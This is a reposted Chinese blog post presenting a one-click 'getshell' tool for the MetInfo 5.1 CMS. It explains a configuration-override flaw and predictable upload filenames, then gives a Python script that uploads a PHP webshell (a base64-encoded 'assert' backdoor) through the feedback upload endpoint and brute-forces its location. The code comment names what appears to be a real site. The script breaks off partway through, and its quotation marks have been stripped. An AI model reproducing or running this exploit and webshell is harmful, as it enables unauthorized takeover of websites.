MetInfo 5.1 自动化getshell工具

Posted Thorns

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了MetInfo 5.1 自动化getshell工具相关的知识,希望对你有一定的参考价值。



title: MetInfo V5.1 GetShell一键化工具
date: 2016-06-08 22:40:32
categories: Hacker
tags:
 - Hacker
 - Tools
---
----------
# 漏洞解析:
----------
**config/config.inc.php**
```php
$langoks = $db->get_one("SELECT * FROM $met_lang WHERE lang=‘$lang‘");

if(!$langoks)die(No data in the database,please reinstall.);

if(!$langoks[useok]&&!$metinfoadminok)okinfo(../404.html);

if(count($met_langok)==1)$lang=$met_index_type;

$query = "SELECT * FROM $met_config WHERE lang=‘$lang‘ or lang=‘metinfo‘";//看这里

$result = $db->query($query);

while($list_config= $db->fetch_array($result)){

    if($metinfoadminok)$list_config[value]=str_replace(", ", str_replace("", ',$list_config[value]));

    $settings_arr[]=$list_config;

    if($list_config[columnid]){

        $settings[$list_config[name]._.$list_config[columnid]]=$list_config[value];

    }else{

        $settings[$list_config[name]]=$list_config[value];

    }

}

@extract($settings);
```
----------
<!--more-->
访问

http:///localhost/metinfo5.1/index.php?lang=metinfo

`SELECT * FROM met_config WHERE lang=metinfo or lang=metinfo`

----------
## 文件命名方式:
----------
**/feedback/uploadfile_save.php**
```php
srand((double)microtime() * 1000000);

$rnd = rand(100, 999);

$name = date(U) + $rnd;

$name = $name.".".$ext;

```
**文件保存在/upload/file/目录**

命名方式就是时间戳去掉后三位,紧接着一个三位数的随机数

可爆破:

如

http://127.0.0.1/upload/file/1465394396.php

----------

# 一键化利用工具:

----------

**本程序基于python编写**

```python
#!/usr/bin/env python
#-*- coding: utf-8 -*-

import requests
import Queue
import threading
import time
import sys


headers = {User-Agent:Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.10 Safari/537.36}

urls = Queue.Queue()
#http://hb.jhxjd.com/upload/file/1441445378.php

def bp(urls,time_out):
    while not urls.empty():
        base_url = urls.get()
        response = None

        try:
            time.sleep(int(time_out))#延时设置
            response = requests.get(base_url,headers=headers)
            if response.status_code == 404:
                print Not Fount----%s  % base_url
        except:
            continue
        finally:
            if response:
                with open(url.txt,a+) as f:
                    f.write(%s?e=YXNzZXJ0 %base_url)

def main(target_url,thread_num,time_out):

    #取出当前时间戳并删除后四位
    now = str(int(time.time()))[:-4]

    #将所有的待爆破地址遍历并加入队列
    for i in range(0,10):
        for j in range(100,1000):
            num_str = ‘‘.join((str(i),str(j)))
            url = ‘‘.join((%s/upload/file/%s % (target_url,now),num_str,.php))
            urls.put(url)

    #上传文件
    with open(xiaoma.php,w+) as fi:
        fi.write("<?php $e = $_REQUEST[‘e‘];register_shutdown_function(base64_decode($e), $_REQUEST[‘Akkuman‘]);?>")
    data = {
            fd_para[1][para]:filea,
            fd_para[1][type]:5
            }
    files = {filea: open("xiaoma.php", rb)}
    upload_url = %s/feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo % target_url
    res = requests.post(upload_url,data = data,files=files)
    #等待两秒  文件上传
    time.sleep(2)

     ---转载

hacktech.cn|53xiaoshuo.com

以上是关于MetInfo 5.1 自动化getshell工具的主要内容,如果未能解决你的问题,请参考以下文章

米拓6.0后台Getshell(MetInfo)

thinkphp5.0和5.1的getshell漏洞

thinkphp 最新版本5.0到5.1高危漏洞爆发可直接提权getshell

批量getshell工具新版

[原创]SQL注入点DB_Owner权限GetShell工具

phpStudy与metinfo啥关系